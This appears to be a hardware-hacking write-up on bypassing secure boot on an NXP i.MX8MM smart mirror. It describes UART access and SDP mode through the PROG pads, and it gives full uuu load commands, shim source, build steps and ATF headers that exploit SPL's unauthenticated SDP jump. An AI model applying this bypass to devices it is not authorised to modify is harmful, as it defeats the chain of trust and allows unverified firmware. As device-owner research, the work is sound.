Before we can run our own OS, we need to understand and bypass the secure boot chain. The i.MX8MM uses a chain of trust where each stage verifies the next before handing off execution:
ROM → SPL → ATF → TEE → U-Boot → Android
The ROM checks that the SPL is signed with the device’s burned-in keys. SPL is supposed to check that the FIT image is signed. U-Boot checks the Android partitions. This chain means you can’t just swap in your own OS , every stage has to be authenticated.
This is the output of the boot sequence over UART.
U-Boot SPL 2020.04-00002-g9d472cf (Jan 27 2022 - 09:10:37 -0600)
DDRINFO: start DRAM init
DDRINFO: DRAM rate 3000MTS
DDRINFO:ddrphy calibration done
DDRINFO: ddrmix config done
Normal Boot
Trying to boot from MMC2
Authenticate image from DDR location 0x401fcdc0...
NOTICE: BL31: v2.2(release):android-10.0.0_2.5.0-20200918-0-g026 3634
NOTICE: BL31: Built : 09:11:37, Jan 27 2022
welcome to lk/MP
boot args 0x2000000 0xbe000000 0x2000 0x0
initializing trusty (Built: 17:42:02 Jun 15 2020)
Initializing Trusted OS SMC handler
avb: Initializing AVB App
hwcrypto: Initializing
hwrng_caam: Init HWRNG service provider
hwrng_srv: Start HWRNG service
hwcrypto_caam: Init HWCRYPTO service provider
hwcrypto_srv: Start HWCRYPTO service
hwkey_caam: Init HWKEY service provider
hwkey_srv: Start HWKEY service
hwcrypto: enter main event loop
trusty_gatekeeper: Initializing
After opening up the Mirror. I saw what look like 2 UART headers:
A53_UART and M4_UART. The A53 is the one we
needed and used.
Using a UART to USB cable was we can connect using minicom configured
for 115200 8N1 minicom -D /dev/ttyUSB0
UART was our main output for the system.
Before explaining the two exploits, we need to cover how to get the device into a state where it listens to us over USB.
There are two small pads on the board labeled PROG.
Shorting them together tells the processor to enter USB Serial Download
Protocol (SDP) mode on the next boot. In this mode, instead of loading
its bootloader from eMMC, the ROM sits and waits for us to send it code
over USB. The board shows up on your computer as an NXP device:
usb 1-6.2.3: New USB device found, idVendor=1fc9, idProduct=0134
usb 1-6.2.3: Product: SP Blank M845S
usb 1-6.2.3: Manufacturer: NXP SemiConductors Inc
We automated the PROG short and power cycling using a Zigbee smart relay wired across the pads and a Zigbee smart plug for the mirror’s power, both controlled via Home Assistant. Doing this manually for every test iteration would have been painful.
This exploit loads the entire boot chain into RAM over USB each time. It doesn’t modify the eMMC, so nothing is permanently changed. It’s useful for development and testing.
The key insight is that SPL’s USB download path has a weak check
before jumping to a loaded image when in SDP mode. In
f_sdp.c, sdp_jump_imxheader() only verifies
that the image starts with the IVT header magic byte
(0xD1002041) , it doesn’t authenticate the image. So once
SPL is running, we can load any image we want to any RAM address and
jump to it.
In f_sdp.c, there is no validation when using SDP jump.
We say jump and it jumps. Other cases would validate.
case SDP_STATE_JUMP:
printf("Jumping to header at 0x%08x\n", sdp_func->jmp_address);
status = sdp_jump_imxheader(sdp_ptr(sdp_func->jmp_address));
NXP has a utility called uuu that is used to talk to IMX devices. It has a number of modes depending on which state the CPU is in. The documentation for all this was pretty bad. But really there are a few version we use over time. SDP: This is the mode when IMX is in program mode, talking directly to the chip. SDPV: This is the mode when IMX has booted the SPL and now we are communicating with it.
Quick test: uuu SDP: boot -f mmcblk2boot0.img results
in:
U-Boot SPL 2020.04-00002-g9d472cf (Jan 27 2022 - 09:10:37 -0600)
DDRINFO: start DRAM initDDRINFO: DRAM rate 3000MTS
DDRINFO:ddrphy calibration done
DDRINFO: ddrmix config done
Normal Boot
Trying to boot from USB SDP
SDP: initialize...
SDP: handle requests...
One key thing is SDP mode looks at the the image you are loading and verifies that it’s the correct signed image. So you can’t just program anything. So this is the first obstacle, but since we have the whole firmware extract we can write that. Here is the SPL_0-60K.img which is the first 60K bytes of the full image dump that load the SPL.
If you want access to do anything SPL_0-60K.img is your ticket.
Then we write the other pieces, the sequence:
# Step 1: Short PROG pins and power cycle , board enters SDP mode
# uuu detects it as an NXP device
# Step 2: Load the original signed SPL
# ROM requires a valid signed image , we use the one extracted from the device's own eMMC
uuu SDP: boot -f spl_0-60k.img
sleep 1
# Step 3: Now SPL is running and listening via SDPV
# Write each component to its correct RAM address
uuu SDPV: write -f atf.bin -addr 0x00920000 # ARM Trusted Firmware at its expected address, extracted from image
uuu SDPV: write -f tee.bin -addr 0xbe000000 # Trusted Execution Environment extracted from image
uuu SDPV: write -f u-boot.bin -addr 0x40200000 # Custom U-Boot
uuu SDPV: write -f fdt.dtb -addr 0x43000000 # Device tree
uuu SDPV: write -f shim.imx -addr 0x40000000 # Our shim
# Step 4: Jump to the shim
# SPL checks the IVT header, finds it valid, and jumps to 0x40000040
uuu SDPV: jump -addr 0x40000000The shim then takes over, constructs the ATF parameter block, and
jumps to ATF at 0x920000. ATF initializes, then jumps to
U-Boot at 0x40200000. U-Boot comes up and we can use
fastboot commands to interact with it.
The downside: you need the PROG short, uuu, and your
computer connected every single boot.
When SPL finishes its job, it doesn’t hand off directly to U-Boot. It first jumps to ATF (ARM Trusted Firmware), passing it addresses of where U-Boot, TEE, and the device tree were loaded in RAM. ATF then sets up the processor’s security state and jumps to U-Boot. The shim replicates this handoff manually. If we don’t do a shim, SPL will verify the code, so this is really doing a lot of the bypassing.
The shim is compiled as bare-metal ARM64 (no OS, no standard library)
and wrapped with an IVT (Image Vector Table) header using NXP’s
mkimage_imx8 tool. The IVT header is what allows it to be
loaded and jumped to by SPL or the USB download protocol.
# Build the shim
aarch64-linux-gnu-gcc -c -static -nostdinc -nostartfiles -ffreestanding shim.c -o shim.o
aarch64-linux-gnu-ld shim.o -o shim.elf -Ttext=0x40000040 --entry=_start --build-id=none
aarch64-linux-gnu-objcopy -O binary shim.elf shim.bin
mkimage_imx8 imx8mm -loader shim.bin 0x40000040 -out shim.imxThe load address 0x40000040 places it at the start of
DDR RAM, offset by 0x40 bytes to leave room for the IVT
header itself.
The shim source (shim.c) does three things: 1. Prints
"Entering SHIM" to UART so we know it ran 2. Constructs the
parameter structure ATF expects (bl31_params), filling in
the addresses of ATF, TEE, U-Boot, and the device tree 3. Jumps directly
to ATF at 0x920000 ATF takes it from there, sets up the
processor, and jumps to U-Boot. U-Boot then comes up normally and gives
us a prompt or boots whatever we configure.
#include "atf_common.h"
//SHIM between SPL and loading a FIT image without verification
static inline void raw_write_daif(unsigned int daif);
void dcache_disable(void);
static inline unsigned long read_mpidr(void);
void uart_tx(char *str);
void *memset(void *inptr, int ch, size_t size);
static void bl31_entry(uintptr_t bl31_entry, uintptr_t bl32_entry,
uintptr_t bl33_entry, uintptr_t fdt_addr);
void _start(void);
#define PRINT_MEM
#undef PRINT_MEM
void _start(void)
{
uart_tx("Entering SHIM\n\r");
uart_tx("Attempting to jump to ATF...\n\n\r");
uintptr_t bl31_entry_addr = (uintptr_t ) 0x00920000;//0x00920000; //ATF
uintptr_t bl32_entry_addr = (uintptr_t ) 0xbe000000; //TEE
uintptr_t bl33_entry_addr = (uintptr_t ) 0x40200000; //Uboot
uintptr_t fdt_addr = (uintptr_t ) 0x43000000; //FDT
bl31_entry(bl31_entry_addr, bl32_entry_addr, bl33_entry_addr, fdt_addr);
uart_tx("Should never see this in SHIM\n\r");
}
void uart_tx(char *str)
{
char * uart1_ptr = (char*)0x30890040;
while(*str!='\0') //NOT checking bounds but who cares
{
*uart1_ptr=*str++;
for(int i=0;i<100;i++)
{
for(int j=0;j<100;j++)
{
int k=i+j;
}
}
}
}
//This is all ATF code copied to make bl31_entry work
static struct bl2_to_bl31_params_mem bl31_params_mem;
static struct bl31_params *bl2_to_bl31_params;
struct bl31_params *bl2_plat_get_bl31_params(uintptr_t bl32_entry,
uintptr_t bl33_entry,
uintptr_t fdt_addr)
{
struct entry_point_info *bl32_ep_info;
struct entry_point_info *bl33_ep_info;
/*
* Initialise the memory for all the arguments that needs to
* be passed to BL31
*/
memset(&bl31_params_mem, 0, sizeof(struct bl2_to_bl31_params_mem));
/* Assign memory for TF related information */
bl2_to_bl31_params = &bl31_params_mem.bl31_params;
SET_PARAM_HEAD(bl2_to_bl31_params, ATF_PARAM_BL31, ATF_VERSION_1, 0);
/* Fill BL31 related information */
bl2_to_bl31_params->bl31_image_info = &bl31_params_mem.bl31_image_info;
SET_PARAM_HEAD(bl2_to_bl31_params->bl31_image_info,
ATF_PARAM_IMAGE_BINARY, ATF_VERSION_1, 0);
/* Fill BL32 related information */
bl2_to_bl31_params->bl32_ep_info = &bl31_params_mem.bl32_ep_info;
bl32_ep_info = &bl31_params_mem.bl32_ep_info;
SET_PARAM_HEAD(bl32_ep_info, ATF_PARAM_EP, ATF_VERSION_1,
ATF_EP_SECURE);
/* secure payload is optional, so set pc to 0 if absent */
bl32_ep_info->args.arg3 = fdt_addr;
bl32_ep_info->pc = bl32_entry ? bl32_entry : 0;
bl32_ep_info->spsr = SPSR_64(MODE_EL1, MODE_SP_ELX,
DISABLE_ALL_EXECPTIONS);
bl2_to_bl31_params->bl32_image_info = &bl31_params_mem.bl32_image_info;
SET_PARAM_HEAD(bl2_to_bl31_params->bl32_image_info,
ATF_PARAM_IMAGE_BINARY, ATF_VERSION_1, 0);
/* Fill BL33 related information */
bl2_to_bl31_params->bl33_ep_info = &bl31_params_mem.bl33_ep_info;
bl33_ep_info = &bl31_params_mem.bl33_ep_info;
SET_PARAM_HEAD(bl33_ep_info, ATF_PARAM_EP, ATF_VERSION_1,
ATF_EP_NON_SECURE);
/* BL33 expects to receive the primary CPU MPID (through x0) */
bl33_ep_info->args.arg0 = 0xffff & read_mpidr();
bl33_ep_info->pc = bl33_entry;
bl33_ep_info->spsr = SPSR_64(MODE_EL2, MODE_SP_ELX,
DISABLE_ALL_EXECPTIONS);
bl2_to_bl31_params->bl33_image_info = &bl31_params_mem.bl33_image_info;
SET_PARAM_HEAD(bl2_to_bl31_params->bl33_image_info,
ATF_PARAM_IMAGE_BINARY, ATF_VERSION_1, 0);
return bl2_to_bl31_params;
}
typedef void (*atf_entry_t)(struct bl31_params *params, void *plat_params);
static void bl31_entry(uintptr_t bl31_entry, uintptr_t bl32_entry,
uintptr_t bl33_entry, uintptr_t fdt_addr)
{
struct bl31_params *bl31_params;
atf_entry_t atf_entry = (atf_entry_t)bl31_entry;
bl31_params = bl2_plat_get_bl31_params(bl32_entry, bl33_entry, fdt_addr);
raw_write_daif(SPSR_EXCEPTION_MASK);
//TODO: See if we can survive without this dcache_disable();
atf_entry((void *)bl31_params, (void *)fdt_addr);
}
void *memset(void *inptr, int ch, size_t size)
{
char *ptr = inptr;
char *end = ptr + size;
while (ptr < end)
*ptr++ = ch;
return ptr;
}
static inline unsigned long read_mpidr(void)
{
unsigned long val;
asm volatile("mrs %0, mpidr_el1" : "=r" (val));
return val;
}
static inline void raw_write_daif(unsigned int daif)
{
__asm__ __volatile__("msr DAIF, %0\n\t" : : "r" (daif) : "memory");
}
This is mostly copy from stock atf code, but was needed to get the shim working.
typedef unsigned char uint8_t;
typedef unsigned short uint16_t;
typedef unsigned int uint32_t;
typedef unsigned long int uintptr_t;
typedef unsigned int size_t;
#ifndef __BL_COMMON_H__
#define __BL_COMMON_H__
#define ATF_PARAM_EP 0x01
#define ATF_PARAM_IMAGE_BINARY 0x02
#define ATF_PARAM_BL31 0x03
#define ATF_VERSION_1 0x01
#define ATF_EP_SECURE 0x0
#define ATF_EP_NON_SECURE 0x1
#define SET_PARAM_HEAD(_p, _type, _ver, _attr) do { \
(_p)->h.type = (uint8_t)(_type); \
(_p)->h.version = (uint8_t)(_ver); \
(_p)->h.size = (uint16_t)sizeof(*_p); \
(_p)->h.attr = (uint32_t)(_attr) ; \
} while (0)
#define MODE_RW_SHIFT 0x4
#define MODE_RW_MASK 0x1
#define MODE_RW_64 0x0
#define MODE_RW_32 0x1
#define MODE_EL_SHIFT 0x2
#define MODE_EL_MASK 0x3
#define MODE_EL3 0x3
#define MODE_EL2 0x2
#define MODE_EL1 0x1
#define MODE_EL0 0x0
#define MODE_SP_SHIFT 0x0
#define MODE_SP_MASK 0x1
#define MODE_SP_EL0 0x0
#define MODE_SP_ELX 0x1
#define SPSR_DAIF_SHIFT 6
#define SPSR_DAIF_MASK 0x0f
#define SPSR_64(el, sp, daif) \
(MODE_RW_64 << MODE_RW_SHIFT | \
((el) & MODE_EL_MASK) << MODE_EL_SHIFT | \
((sp) & MODE_SP_MASK) << MODE_SP_SHIFT | \
((daif) & SPSR_DAIF_MASK) << SPSR_DAIF_SHIFT)
#define SPSR_FIQ (1 << 6)
#define SPSR_IRQ (1 << 7)
#define SPSR_SERROR (1 << 8)
#define SPSR_DEBUG (1 << 9)
#define SPSR_EXCEPTION_MASK (SPSR_FIQ | SPSR_IRQ | SPSR_SERROR | SPSR_DEBUG)
#define DAIF_FIQ_BIT (1<<0)
#define DAIF_IRQ_BIT (1<<1)
#define DAIF_ABT_BIT (1<<2)
#define DAIF_DBG_BIT (1<<3)
#define DISABLE_ALL_EXECPTIONS \
(DAIF_FIQ_BIT | DAIF_IRQ_BIT | DAIF_ABT_BIT | DAIF_DBG_BIT)
#ifndef __ASSEMBLY__
/*******************************************************************************
* Structure used for telling the next BL how much of a particular type of
* memory is available for its use and how much is already used.
******************************************************************************/
struct aapcs64_params {
unsigned long arg0;
unsigned long arg1;
unsigned long arg2;
unsigned long arg3;
unsigned long arg4;
unsigned long arg5;
unsigned long arg6;
unsigned long arg7;
};
/***************************************************************************
* This structure provides version information and the size of the
* structure, attributes for the structure it represents
***************************************************************************/
struct param_header {
uint8_t type; /* type of the structure */
uint8_t version; /* version of this structure */
uint16_t size; /* size of this structure in bytes */
uint32_t attr; /* attributes: unused bits SBZ */
};
/*****************************************************************************
* This structure represents the superset of information needed while
* switching exception levels. The only two mechanisms to do so are
* ERET & SMC. Security state is indicated using bit zero of header
* attribute
* NOTE: BL1 expects entrypoint followed by spsr at an offset from the start
* of this structure defined by the macro `ENTRY_POINT_INFO_PC_OFFSET` while
* processing SMC to jump to BL31.
*****************************************************************************/
struct entry_point_info {
struct param_header h;
uintptr_t pc;
uint32_t spsr;
struct aapcs64_params args;
};
/*****************************************************************************
* Image info binary provides information from the image loader that
* can be used by the firmware to manage available trusted RAM.
* More advanced firmware image formats can provide additional
* information that enables optimization or greater flexibility in the
* common firmware code
*****************************************************************************/
struct atf_image_info {
struct param_header h;
uintptr_t image_base; /* physical address of base of image */
uint32_t image_size; /* bytes read from image file */
};
/*****************************************************************************
* The image descriptor struct definition.
*****************************************************************************/
struct image_desc {
/* Contains unique image id for the image. */
unsigned int image_id;
/*
* This member contains Image state information.
* Refer IMAGE_STATE_XXX defined above.
*/
unsigned int state;
uint32_t copied_size; /* image size copied in blocks */
struct atf_image_info atf_image_info;
struct entry_point_info ep_info;
};
/*******************************************************************************
* This structure represents the superset of information that can be passed to
* BL31 e.g. while passing control to it from BL2. The BL32 parameters will be
* populated only if BL2 detects its presence. A pointer to a structure of this
* type should be passed in X0 to BL31's cold boot entrypoint.
*
* Use of this structure and the X0 parameter is not mandatory: the BL31
* platform code can use other mechanisms to provide the necessary information
* about BL32 and BL33 to the common and SPD code.
*
* BL31 image information is mandatory if this structure is used. If either of
* the optional BL32 and BL33 image information is not provided, this is
* indicated by the respective image_info pointers being zero.
******************************************************************************/
struct bl31_params {
struct param_header h;
struct atf_image_info *bl31_image_info;
struct entry_point_info *bl32_ep_info;
struct atf_image_info *bl32_image_info;
struct entry_point_info *bl33_ep_info;
struct atf_image_info *bl33_image_info;
};
/*******************************************************************************
* This structure represents the superset of information that is passed to
* BL31, e.g. while passing control to it from BL2, bl31_params
* and other platform specific params
******************************************************************************/
struct bl2_to_bl31_params_mem {
struct bl31_params bl31_params;
struct atf_image_info bl31_image_info;
struct atf_image_info bl32_image_info;
struct atf_image_info bl33_image_info;
struct entry_point_info bl33_ep_info;
struct entry_point_info bl32_ep_info;
struct entry_point_info bl31_ep_info;
};
#endif /*__ASSEMBLY__*/
#endif /* __BL_COMMON_H__ */
With the custom U-Boot now we can write what ever we want to eMMC and no verification.